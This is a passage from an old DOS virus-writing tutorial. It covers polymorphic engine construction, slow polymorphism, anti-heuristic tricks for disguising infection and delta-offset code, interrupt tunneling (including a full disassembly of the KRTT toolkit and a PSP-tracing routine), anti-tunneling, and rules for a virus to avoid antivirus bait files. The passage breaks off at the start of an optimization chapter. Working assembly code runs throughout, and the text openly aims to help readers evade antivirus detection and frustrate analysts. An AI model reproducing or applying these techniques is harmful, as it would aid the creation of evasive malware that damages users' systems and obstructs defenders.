Unconditional Jumps ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ JMP sig16 ( SHORT )  E9 sig16 JMP sig32 ( FAR )  EA sig32 JMP sig8 ( NEAR )  EB sig8 JMP regmem16  FF ^4 JMP FAR mem16:16  FF ^5 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Conditional Jumps ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ JO sig8  70 sig8 JNO sig8  71 sig8 JB sig8  72 sig8 JAE sig8  73 sig8 JZ sig8  74 sig8 JNZ sig8  75 sig8 JBE sig8  76 sig8 JA sig8  77 sig8 JS sig8  78 sig8 JNS sig8  79 sig8 JPE sig8  7A sig8 JPO sig8  7B sig8 JL sig8  7C sig8 JGE sig8  7D sig8 JLE sig8  7E sig8 JG sig8  7F sig8 JCXZ sig8  E3 sig8 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Call stuff ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ CALL sig32  9A sig32 CALL sig16  E8 sig16 CALL regmem16  FF ^2 CALL FAR mem16:16  FF ^3 ÚÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Returns ³ ÀÄÄÄÄÄÄÄÄÄÄÄÙ RETN  C3 RETF  CB IRET  CF ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Loop stuff ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ LOOPNE/LOOPNZ sig8  E0 cb LOOPE/LOOPZ sig8  E1 cb LOOP sig8  E2 cb Miscellaneous ÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄ¿ ³ Loads ³ ÀÄÄÄÄÄÄÄÄÄÙ LEA reg16,regmem16  8D RegInfoByte LDS reg16,mem16:16  C4 RegInfoByte LES reg16,mem16:16  C5 RegInfoByte % Jumps / Calls generation % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is one of the most important things to do if you want to do the code generated by your PER more real to lamer's eyes ;) þ Jumps: The creation of jumps is very easy, and very useful for our needs. Try to avoid da do-nothing jumps, like JMP 0000, because if we put this kinda jumps in excess,an heuristic flag will probably flagged. Make instructions natural must be our goal. And... where have you seen any jump to the next opcode? :) In order to create jumps, you must be careful with the offset, because if you make it to low or too high, the computer will hang. You must do it custom-made. It's a good idea to make the jumps' offsets variables ( between 1 and 5 will be enough ), and then place junk instructions. Make a procedure for assure that your jumps will go to the right place. Remember: Imagination is our best weapon. Let's see a very simple Jx ( conditional jump ) generator. It's easy. generate_jx: call random ; Our random procedure and al,0Fh ; A number between 0..16 add al,70h ; Add 70 for get instructions stosb ; Put AL in ES:DI xor ax,ax ; Make AL = 00 stosb ; Make a zero-jump ret This isn't the best solution, but... works! :) þ Calls: A little bit harder than the jump construction. If we put calls as we put jumps the code will hang ( sure! ). This is coz when we're making a call, the offset is pushed onto the stack, and the ret will return to the offset next to the call. So, if we put a call directly, our code will be completly unuseful. There're two ways to avoid this. Let's explain the first one: We make the call to the offset, then we make a jump that completly avoid the call ( well, the call not... the FUCKING RET! ), we make the procedure code, place the RET, and that's all! It must look like this: [...] call shit ÄÄÄÄÄÄÄ¿ [...] ÄÄÄÄÄÄÄÄÄÄijÄÄ¿ jmp avoid_shit ijÄijÄÄ¿ [...] ³ ³ ³ shit: ÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ [...] ³ ³ ret ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ [...] ³ avoid_shit: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ [...] Maybe da second way seems more easy to your eyes. Well, i'm gonna explain it for your open mind :) We must make a jump over da call, then generate the opcodes of the procedure generate the RET, and we can call the subroutine code now ( and more times ) Let's see: [...] jmp avoid_shit Ä¿ [...] ³ shit: ÄÄÄÄÄÄÄÄÄÄijÄÄ¿ [...] ³ ³ ret ÄÄÄÄÄÄÄÄÄÄÄijÄijÄÄ¿ [...] ³ ³ ³ avoid_shit: ÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ [...] ³ ³ call shit ÄÄÄÄÄÄÄÄÄÄÙ ³ [...] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ % Interrupt calls % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is VERY simple, believe me. We can call to this interrupts in our code everytime we want: they're do-nothing interrupts. Let's see a little list: INT 01h  CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS INT 08h  IRQ0 - SYSTEM TIMER; CPU-generated (80286+) INT 0Ah  IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+) INT 0Bh  IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+) INT 0Ch  IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+) INT 0Dh  IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+) INT 0Eh  IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+) INT 0Fh  IRQ7 - PARALLEL PRINTER INT 1Ch  TIME - SYSTEM TIMER TICK INT 28h  DOS 2+ - DOS IDLE INTERRUPT INT 2Bh  DOS 2+ - RESERVED INT 2Ch  DOS 2+ - RESERVED INT 2Dh  DOS 2+ - RESERVED INT 70h  IRQ8 - CMOS REAL-TIME CLOCK INT 71h  IRQ9 - REDIRECTED TO INT 0A BY BIOS INT 72h  IRQ10 - RESERVED INT 73h  IRQ11 - RESERVED INT 74h  IRQ12 - POINTING DEVICE (PS) INT 75h  IRQ13 - MATH COPROCESSOR EXCEPTION (AT and up) INT 76h  IRQ14 - HARD DISK CONTROLLER (AT and later) INT 77h  IRQ15 - RESERVED (AT,PS); POWER CONSERVATION (Compaq) These are the INTs you can call without any kinda problem. I recommend you to build a table with the number of the ints in order to make a procedure that generates da INT opcodes. HEY! I forgot! The INT OpCode is CD, followed by the interrupt number, that it's a byte. Another very good choice is to make calls to the INT 21h/INT 10h/INT 16h with do-nothing functions. Let's see the INT 21h possible functions... AH=0Bh  Read entry state AH=0Dh  Flush buffers AH=19h  Get current drive AH=2Ah  Get current date AH=2Ch  Get current time AH=30h  Get dos version number AH=4Dh  Get error code AH=51h  Get active psp AH=62h  Get active psp AX=3300h  Get break-flag AX=3700h  Get line-command separator AX=5800h  Get mem concept AX=5802h  Get umb insert I think it is quite clear how to do the code. Generate a MOV AH/AX,value and an INT 21h isn't hard. Just do it! :) Btw, Vecna gave me a kewl idea when the version 1.03 of this guide was publi shed in 29A#3. He said me: you can use more ussual function such as open, read, etc. because DX is fucked, and they will simply return an error :) % Random number generator % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There's one of the most important this of your PER. The simplest way for obtain a random number is to call to port 40h,and see what it returns. Let's see some code: random: in ax,40h in al,40h ret We can also use INT 1Ah, or another thing that we think that can return us different numbers each time. If we want a number in a determinated range, we can make use of the instuction AND. Let's see the simplest procedure for make a random number in range: random_in_range: push bx xchg ax,bx call random and ax,bx pop bx ret It will return a number between 0 and da marked in AX-1. An optimized way to do the random in range procedure is to use the division. Remember what the division does, paying attention to the remainder. When we do a division, the remainder can never be higher ( or equal ) to the divisor. So, the remainder can be between 0 and the divisor - 1. Let's see how will be a procedure by using division: random_in_range: push bx dx xchg ax,bx call random xor dx,dx div bx xchg ax,dx pop dx bx ret Preety simple, as you can see. The random number stuff will continue in the next part of this chapter, the slow polymorphism. % Slow polymorphism % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ If you know how this stuff fuck AVs, you'd think it's a very difficult tech- nique, or something. No. The authors of the firsts polymorphic engines tho- ugth that the best way to fuck AV was to make the decryptors very variables each generation. It was a very good idea for the firsts PERs, but, the AVers discovered that infecting thousands of baits with a polymophic virus, they could see all the possible mutations, and then, add a simple scan string for their ShitWare ( aka AntiViruses ). But... what happens if we make the de- cryptors' mutation very slow? Then, da slow polymorphism was born. Yes, with this simple idea, that can seem to be a bullshit, we can make AVers go mad. The most important thing we must change in order to get slow polymorphism is da random number generator. By changing this, we have a slow mutation engine for our needs. We can improve it, but it'll work preety good for ALL our needs. We need values that don't change fast, like month, day or something, and then play something with them ( if you want, of course ) ;) random_range: push bx cx dx xchg ax,bx mov ax,2C00h int 21h xchg ax,dx xor ax,0FFFFh xor dx,dx div bx xchg ax,dx pop dx cx bx ret And, with a routine like this, your PER is now 100% slow polymorphic. I believe that the concept is quite clear. Instead of this, you can test to add a counter that avoids mutations in a huge period of time, but i prefer the above technique for slow polymorphy. % Advanced polymorphy % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Your steps must go to advanced polymorphism. You must try to generate real- istic structures, like a program with calls to subroutines, interrupts, play with values already known, make comparisons followed by conditional jumps, and whatever you can imaginate. You must always improve the variability of your poly engine: if it's slow and very variable, AV will fuck off. Imagine da posibilities: you can decrypt your code from top to bottom and vice-versa use si, di, bx or whatever you want as count register, you can add a genera- tor for long routines, such as little anti-debugging tricks ( neg sp/neg sp, not sp/not sp... ), make a mid-virus ( or mid-file ) decryptor, an INT 1 decryptor ( hell good trick! ), make do-nothing memory movements, use word operatons at time as byte ones, combine them, substitute them... Else, you can try with something already more advanced, like envolving poly- morphism, and else. There are some interesting documents about this fact, like the Methyl's ( aka Owl[FS] ) ones. % Last words about polymorphism % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ But, as the real world is a shit, the AV scum will try to get all our possi- ble decryptors by disassembling our preety slow polymorphic engine. But, here comes the armouring for save our ass. We must heavily protect our PER with an encryption routine specially for it ( it must be a very ANTI- DEBUGGING decryptor ). As they won't have enough time to disassemble the engine, they won't see all it can do :) You have a very good selection of ANTI-DEBUGGER techniques in the chapter with this name ( some chpts. above ) So, at this time, they will concentrate their efforts in the baits, and we must avoid the infection of this non-sense files. More of this in ANTI-BAIT chapter, some chapters below ;) I want to see your PERs rocking the world! :) ÄÄÄ´ Anti-Heuristics ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The heuristics search for suspicious things at our code. Just avoid the use of things like "*.com" and so on... Well, i explain it better. Follow this points. þ Don't use wildcars like "*.com" or "*.exe": This kinda things are only used in runtime viruses, but if you really need it... You can put something like "*.rom" instead "*.com" and then something like this: mov byte ptr [bp+comfile+2],"c" Remember: before writing virus body, restore the r of "*.rom"... mov byte ptr [bp+comfile+2],"r" or you've made a null effort. In this example we assume BP as delta offset, comfile as db "*.rom",0 and the virus is a direct action infector þ Don't use obvious routines: We're talking about the classic INT 21h AH = 40h, INT 21h AX = 4301h... You can made a lot of things... let's play with AX = 4301h I've read this in somewhere i don't remember now ( Maybe Wizard's tutorial in spanish :-? ) push 4301h pop ax But there's a problem... Compile it and then disassembly it. Let's see some TASM generated shit :) Of course, this only happens if da selected processor in the source is worse than a 386. push ax bp mov bp,sp mov word ptr [bp+02],4301h pop bp ax This is the disassembled code of push 4301h and pop ax. It takes 11 bytes!!! I think it's a waste of code. Better use things like: mov ax,4300h inc ax or better: mov ax,0043h inc ah xchg ah,al and also: mov bx,4300h xor ax,ax xchg ax,bx þ Be paranoid with all the routines of your polymorphic engine: Be careful of the use of a lot of garbage, like one byte instructions ( cli, sti, lahf, nop, std, cld, cmc... ). The AV can show a flag. The heuristic engine will try to decrypt yer code. I recommend you to put an antidebugging routine for stop it. Take a look to ARMOURING chapter in this document. þ Don't use strange calls for your residence check: If you use some like AX = DEADh for your residence check, a flag will be triggered. Use checks below 6E00h. There're a lot of functions below 6E00h unused. Take a look to Ralph Brown's interrupt list for more info. þ Don't use rare interrupts: If you use interrupts above 80, a flag will be triggered. þ Optimize your code as much as possible: Look the tutorials that talk about this ( like darkman's in VLAD#2, or the one in this same document ) þ Try to be original in the ë offset obtaining: For obtain delta offset don't use: call delta delta: pop si sub si,offset delta This is used by a lot of viruses, and a flag will be triggered sure. ( In this example, delta offset will be in SI ) There are a lot of alternative ( yeah! ) ways to get the delta offset: mov bx,old_size_of_infected_file jmp bx ( You can use another registers than BX, of course ;) ) another one: call delta delta: mov si,sp mov bp,word ptr ss:[si] sub bp,offset delta ( In this, BP will be Delta offset ) and another one: mov bp,sp int 03h delta: mov bp,ss:[bp-6] sub bp,offset delta þ Make your encryption routine very optimized. If you use some shit, the heuristic will catch the virus, and all our efforts will go shit. þ Make your TSR routines very strange: Try to avoid the compare with 0: cmp byte ptr [0],"Z" þ In your int 21 handlers avoid to use the " real " cmps, just try with something like this ( examples with 4bh ): xchg ah,al cmp al,4Bh [...] xchg ah,al or make a xor with the value. xor ax,0FFFFh cmp ah,(4Bh xor 0FFh) xor ax,0FFFFh or this two at time ;) xor ax,0FFFFh xchg ah,al cmp al,(4Bh xor 0FFh) xchg ah,al xor ax,0FFFFh REMEMBER THIS: After the call to the real int 21 return all the values as they are before making this routines þ The heuristic will search with compares with "MZ" or "ZM" like cmp ax,"ZM" cmp ax,"MZ" You can try with something like this: mov al,byte ptr [header] add al,byte ptr [header+1] cmp al,"M"+"Z" This is a very useful routine: You are checking at the same time for MZ and ZM. Assumed things... Header contains at least the 2 firsts bytes of the header. Or you can make it, but in lower case, with a simple or ax,2020h ( AX is the register containing the string ), and compare with something like: cmp ax,"zm" cmp ax,"mz" þ Try to make your virus as rare as you can :) þ Scan a lot of times your code with a lot of AVs to see if it's detected þ Change sightly the routines for restore the COM and EXE hosts. Let's see now how to make an anti-heuristic restore for COM files: mov di,101h ; This shit will fool AV dec di push di ; DI=100h :) lea si,[bp+offset OldBytes] ; Restore 3 bytes movsw ; ( Change it for your needs ) movsb ret ; Jump to 100h ;) oldbytes db CDh,20h,00 And now let's see how to fuck heuristics when EXE restoring: mov bx,bp ; Use BX as delta offset ;) mov ax,ds add ax,0010h add word ptr cs:[bx+@@CS],ax add ax,cs:[bx+@@SP] cli mov ss,ax mov sp,cs:[bx+@@SS] sti db 0EAh ; JUMP FAR cs_ip equ this dword @@IP dw 0000h ; In 1st gen, put here the offset to ; a MOV AX,4C00h/INT 21h @@CS dw 0000h ss_sp equ this dword @@SS dw 0000h @@SP dw 0000h % Last things % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The huge fail some heuristics have ( like TBSCAN ) are that they dont search for the values of the registers. We can exploit this thing. Just think about all da possibilities to make a mov ax,4301h or a cmp ah,4Bh... All is in yer hands... ÄÄÄ´ Tunneling ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ We call tunneling to all the attemps for obtain the original vectors of any interrupt, that it's about all times da INT 21h. Well, all attempts can't be called tunneling ( for example, the backdoors ), but we'll talk about them in this article tho. Tunneling was developed for avoid the TSR watchdogs. This kinda anti-virus are ununderstandable ( whatta word! :) ) for da normal user, coz they notify the attempts to hook interrupts, open executables, and all the stuff a virus ussually do. This methods are really hard to fool with stuff like the show before ( anti-heuristics ), because they don't search for bits, they only hook and control the important interrupts ( 21h, 13h... ). The most populars TSR watchdogs are the Flintstones' VSAFE, VSHIELD... Our objective is to get the original vectors but... how can do it? You have a lot of ways for choose. % Tracing % ÄÄÄÄÄÄÄÄÄÄÄ This is probably one of the most used ways, but it's clearly unsafe. Yes, this type of tunneling is very fragile, and you will know why if you pay attention to the following lines :) There is a flag, called Trap Flag ( ussually abbreviated as TF ), used for put the processor in single-stepping mode if it' s activated. The single- stepping mode is what debuggers use for execute the code instruction by instruction, and we can use it for our needs, of course :) Every time an instrution is executed, and da TF is activated, the INT 1 will be called, so this is our time :) But there isn't an intruction for activate it, so we must play with the flags. Let's see how we can activate the TF: pushf ; Push flags to stack pop ax ; And put them into AX for play or ax, 100h ; We activate the TF at this point push ax ; We must push AX... popf ; for restore our preety flags :) With this simple code you have activated the trap flag. I forgot to put the flags, so here you have: Position  0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00                 Flags  -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF The flags are in a 16 bit register, as you can see. Here you have the list of flags, and its meanings: CF : Carry Flag  Indicates an arithmetic carry PF : Parity Flag  Indicates an even number of 1 bits AF : Auxilary Flag  Indicates adjustment needed in BCD numbers ZF : Zero Flag  Indicates a zero result, or equal comparison SF : Sign Flag  Indicates negative result/comparison TF : Trap Flag  Controls Single Step operation IF : Interrupt Flag  Controls whether interrupts are enabled DF : Direction Flag  Controls increment direction on string regs. OF : Overflow Flag  Indicates signed arithmetic overflow Let's remember some things about the interrupts. Every time we call an INT at the stack are 6 bytes: the flags and the CS:IP. You must remember this, because we must to call to the INT 21h, and then trace its code. If after da call the CS ( in the stack ) is equal to the one that the DOS has given to us when we've requested for interrupt vectors, the INT is the good one. The simples routine for make tunneling could be like this one: int01handler: push bp mov bp, sp push dx mov dx, word ptr cs:[dossegment] cmp [bp+6], dx jz found pop dx pop bp iret found: mov dx, [bp+6] mov word ptr cs:[int21_seg], dx mov dx, [bp+4] mov word ptr cs:[int21_off], dx pop dx pop bp add sp, 6 [...] But this kinda tunneling, as i said at the beginning of the explanation, has a lot of weak points. We aren't protected to POPF, PUSHF, CLI, and a TF deactivation, because we're really EXECUTING the code. If the AV redirected the INT 21h to another INT, we're fucked again. As you can see, the tracing isn't safe. Well, we can solve some problems by checking for some instructions, as PUSHF and POPF, for don't let lamerz to deactivate the TF. Anyways, the tracing ain't the best choice... % Byte to Byte % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The most popular ( the only one ) source is the K”hntark Recursive Tunneling Toolkit ( aka KRTT ). The method it uses is to make comparisons to all the opcodes in the int handler, in order to see if it's a CALL, CALL FAR, JUMP FAR, and JUM OFF:SEG, and then get this value as INT 21h. Let's see the complete disassembly of the file KRTT41.OBJ of the KRTT41 package, that is main center of the toolkit. ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; K”hntark Recursive Tunneling Toolkit 4.1 (c) 1993 by K”hntarK ; Disassembly by Billy Belceb£/DDT ; ; INPUT: ;  BP : 01 Searches for INT 2Ah handler ;  BP : 02 Searches for INT 13h handler ;  BP : another value Searches for INT 21h handler ; OUTPUT: ;  AH : 00 Not found ;  AH : 01 Found! ;  AH : 02 Int 21h / 2Ah / 13h Not Hooked ;  AH : 03 DOS internal interrupts are hooked ; If found: ;  DX DOS INT 21h / 2Ah / 13h SEGMENT ;  DI INT 21h / 2Ah / 13h OFFSET ;  AL RECURSION DEPT ; DESTROYED: ;  AX,BX,CX,DX,DI,BP,ES ; ; Assemble: ; TASM KRTT41.ASM ; TLINK KRTT41.OBJ ; ; Call TUNNEL for make tunneling ; ; NOTE: It's the first time i try with a disasm of something, so if i made a ; _HUGE_ mistake, notify me :) This ain't my job... .model tiny .code public tunnel tunnel: cli ; Disable interrupts for tunneling xor ax,ax mov es,ax ; Make ES = 0 for get IVT xor di,di mov dx,es:[00AEh] ; Checks for assure tunneling mov cx,es:[00A2h] ; INT 26h =! INT 28h cmp dx,cx jz check mov cx,es:[00B2h] ; INT 26h =! INT 28h =! INT 2Ch cmp dx,cx jz check mov ah,03 ; Checks failed : DOS ints are hooked ret check: cmp bp,01h ; BP=1 Hook INT 2Ah jz int2A cmp bp,02h ; BP=2 Hook INT 13h jz int13 int21: mov bx,es:[0084h] ; BP=Other Hook INT 21h mov es,es:[0086h] jmp go4it int13: mov bx,es:[004Ch] ; Get INT 13h vectors from the IVT to mov es,es:[004Eh] ; ES:BX mov bp,es mov dx,0070h cmp bp,dx jz nothooked jmp letstunnelit int2A: mov bx,es:[00A8h] ; Get INT 13h vectors from the IVT to mov es,es:[00AAh] ; ES:BX go4it: mov bp,es cmp dx,bp jnz letstunnelit nothooked: xchg bx,di mov ah,02h ; INT not hooked *yeah* ;) ret letstunnelit: call main_body ; Go and tunnel it sti ret main_body: push es push bx cmp al,07h ; Check for recursion jz exit cmp ah,01h ; Found ? jz exit inc al mov cx,0FFFAh sub cx,bx main_loop: push bx cmp byte ptr es:[bx],0E8h ; Is OpCode a CALL ? jz callsig16 cmp byte ptr es:[bx],0EAh ; Is it a JUMP OFFSET:SEGMENT ? jz far_stuff cmp byte ptr es:[bx],09Ah ; Is it a CALL FAR ? jz far_stuff cmp byte ptr es:[bx],02Eh ; A Segment Override CS maybe ? :P jnz jmpfar cmp byte ptr es:[bx+01],0FFh ; A JUMP FAR ? jnz jmpfar cmp byte ptr es:[bx+02],01Eh ; PUSH DS ? jz far_stuff2 cmp byte ptr es:[bx+02],02Eh ; CS ? ( again ) jnz jmpfar far_stuff2: mov bp,es:[bx+03] dec bp xchg bx,bp jmp far_stuff jmpfar: pop bx cmp ah,01h ; Found ? jz exit cmp al,07h ; Check for recursion jz exit inc bx loop main_loop ; And loop it callsig16: pop bx add bx,03h loop main_loop exit: pop bx pop es ret far_stuff: pop bp add bp,04h push bp cmp es:[bx+03],dx jz found cmp word ptr es:[bx+03],00h jz jmpfar push es pop bp cmp es:[bx+03],bp jz jmpfar mov bp,bx mov bx,es:[bx+01] ; Where it points mov es,es:[bp+03] call main_body jmp jmpfar found: mov di,es:[bx+01] mov ah,01 ; INT 21 found jmp jmpfar end tunnel ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I you want the full package, search for it. It's very easy to find. But the KRTT isn't safe. " FUCK! " you can think. The tunneling seems to be a very unsafe and fragile tecnique. This happens only in this old tecniques. The KRTT will suck if the control is returned by another instruction that isn't da four implemented. It's very easy to call INT 21h with a conditional jump or a RETF, and this will fuck us. And this tecnique MUST be recursive, due its nature. % PSP tracing % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ If you remember the VERY important structure that was PSP, and you see the description of this same document about the offset 0005, you will think... " What the hell is this of the FAR CALL to the INT 21 ? ". This offset of da PSP is quite obsolete, it's only preserved for compatibility with very old programs. But it contains very interesting data, like INT 21h dispatcher. The INT 21h dispatcher ain't da INT 21h handler, don't forget it. As Satan's Little Helper said, da offset PSP:6 can point directly to the dispatcher, or point indirectly, that requires some playing with the double nop call to the first one. The below routine is from VLAD#3 ( whatta good group! ), an article written by Satan's Little Helper, that shown the way for get INT 21h address by using PSP. ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; PSP tracing routine by Satan's Little Helper ; Published in VLAD#3 ; ; INPUT: ;  DS PSP segment ; OUTPUT: ;  DS:BX INT 21h address ;  CF 0 ; if tunnel failed: ;  DS:BX 0000:0000 ;  CF 1 psp_trace: lds bx,ds:[0006h] ; a pointer to dispatch handler trace_next: cmp byte ptr ds:[bx],0EAh ; JMP SEG:OFF ? jnz check_dispatch lds bx,ds:[bx+1] ; point to the SEGMENT:OFFSET cmp word ptr ds:[bx],9090h jnz trace_next sub bx,32h ; 32h byte offset from dispatch ; handler cmp word ptr ds:[bx],9090h ; If all is OK, INT 21h has this jnz check_dispatch ; signature ( 2 NOPs ) good_search: clc ret check_dispatch: cmp word ptr ds:[bx],2E1Eh ; PUSH DS, CS: ( prefix ) jnz bad_exit add bx,25h cmp word ptr ds:[bx],80FAh ; CLI, PUSH AX jz good_search bad_exit: stc ret ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Preety simple and effective. Test it! And, with the skeleton of the PSP tra- cing we can use another method, the INT 30h backdoor. The PSP tracing is better than the normal tracing, because in the second one we don't know if we're executing the code of an AV, and using the PSP this can't occur. % INT 30h backdoor % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is very easy, if you undertood da above technique. The INT 30h has code to jump to the dispatcher, so we can put something like this: xor bx,bx mov ds,bx mov bl,0C0h ; INT 30h offset in IVT jmp trace_next Be warned that the INT 30h in Windoze enviroment is used for another purpo- ses, but that is another history :) % Code Emulators % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The first article i can remember is the one that Methyl [IR/G] made some ti- me ago, published in IR#8 ( IRG#1? ). This little lesson ain't as Methyl one i haven't so much space ( this tute is becoming huge ), so this lesson is about 100% theorical. But don't give up, it's very easy to understand. For me the emulation seems to be an improvement to the old byte-to-byte scanning but much more enhaced and safe. I'm not saying that it's EQUAL. The byte-to- byte scanning only compared da opcodes, and the emulation makes some playing around to make the same as da instruction makes when executing: the emulati- on follows da FLOW of the program, makes the fake jumps, the calls... And in this way, it searches for the possible INT 21h jump, that is what we need. Ok, this is the concept. If you wanna know more, i suggest you to download the IR#8, and take a look to Methyl's tute. That is a good magazine, so enjoy its read! % Advanced tunneling % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ahhh... the same shit of all this document: i don't want to make your head explode with too much knowledge. There're techniques much more safe, cool, new... but they're too much hard, and it implementation in this document would suck a hugh amount of your hard disk :) ÄÄÄ´ Anti-tunneling ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Tunneling tecniques are also used by da ShitWare ( AntiViruses ) for install its products, and all our efforts in order to catch the original INT 21h vectors will suck, coz they're using the same weapons that we use. And we don't like this. Also, other viruses can tunnel us, and this ain't cool. The system is OURS, and no one else! :) As ShitWare uses routines for detect if someone is tracing, we can use their own routines in order to fight againist them: they're unprotected to this. As we used a routine to activate the trap flag tor tracing... Could we use another for deactivate it? Sure. It's very simple. Instead using a OR for activate it, for deactivate we must use an AND. pushf pop ax and ah,11111110h push ax popf Ain't it charming? :) With this shit we've fucked their attempt to steal OUR INT 21h. But... what if we want to know if there's someone trying to steal it? This routine is stolen from this same document, from ARMOURING chapter. push ax pop ax dec sp dec sp pop bx cmp ax,bx jz not_traced jmp $ ; If traced, freeze the processor not_traced: [...] A nice attitude: be lamer with his own stuff :) This chapter is an extension of the TUNNELING chapter. So... with this two simple routines, and a little bit of good luck, you can go so far away :) ÄÄÄ´ Anti-bait ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The baits/sacrifical goats are programs that don't do anything. And you will wonder why... They use this programs for catch the viruses, that will infect them. And, they will have a copy of our virus :( But our great problem is when our virus is polymorphic. They will infect about 10 thousands of this files in order to search for a realiable scan string and/or algorithm that catch about all da possible mutations. Of cour- se, if we add code to simply refuse the infection for this programs, we're fucking them ( it's boring to fuck always the same people, but they work fucking ours... ) ;) There are some points you can follow for don't allow ( or make hard ) our virus to infect a bait: - Don't infect files at least < 5000, or better, refuse < 10000. So we're making AV to create 10000 baits, of 10000 bytes each one. So they will need at least 100 megs for our virus :) - Don't infect files with numbers in its name. Baits are ussually called "00000000.COM", "00000001.COM" and such like. - Don't infect files with consecutive names. This can seem the same than the above. Not. If they see that our virus don't infect the files with num- bers, they will create files like "AAAAAAAA.COM", "AAAAAAAB.COM" and shit like this. - Don't infect consecutive files with the same size. This is another strain of the above two methods. - Don't infect the files with today's date. About all the executable files are in one computer for some days and/or months. It's very rare to find files with today's date ( well, not at all, but about all the baits have this date ). - Catch a timer interrupt, or whatever you want in order to avoid the infec- tion of files in at least 10 minutes. Just imagine one situation... an AVer is trying to get a scan string for our virus. We've implemented all the above anti-bait tecniques in our virus, and the AVer will reboot a lot of times for see what triggers the refuse of the virus. And, if each boot we make him to wait 10 minutes... He will waste a lot of time in our virus :) - Don't infect files at root directory. A lot of bait generators make their baits at root directory, so they're fucked again :) - Don't infect files with zero-jumps and calls: This are only used by baits and PERs, so... Search for all E9 00 00, E8 00, [70..7F] 00, and such like. - Of course, check for a lot of NOPs, XCHGs with the same register ( XCHG BX,BX ), moves with the same register... - Check for a huge amount of 0 bytes, or consecutive INCs/DECs with the same register... When you've seen a program that makes a INC DX followed by a DEC DX ??? - Detect if the first thing the file executes is a MOV AX,4C00h/INT 21h or a INT 20h. If a virus has implemented at least 5 of this things in its code, be sure that it'll be higly anti-bait. :) ÄÄÄ´ Optimization ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There are two kinds of optimization: structural and local. In this little chapter i'll talk about the two kinds. But first you must understand one thing: never 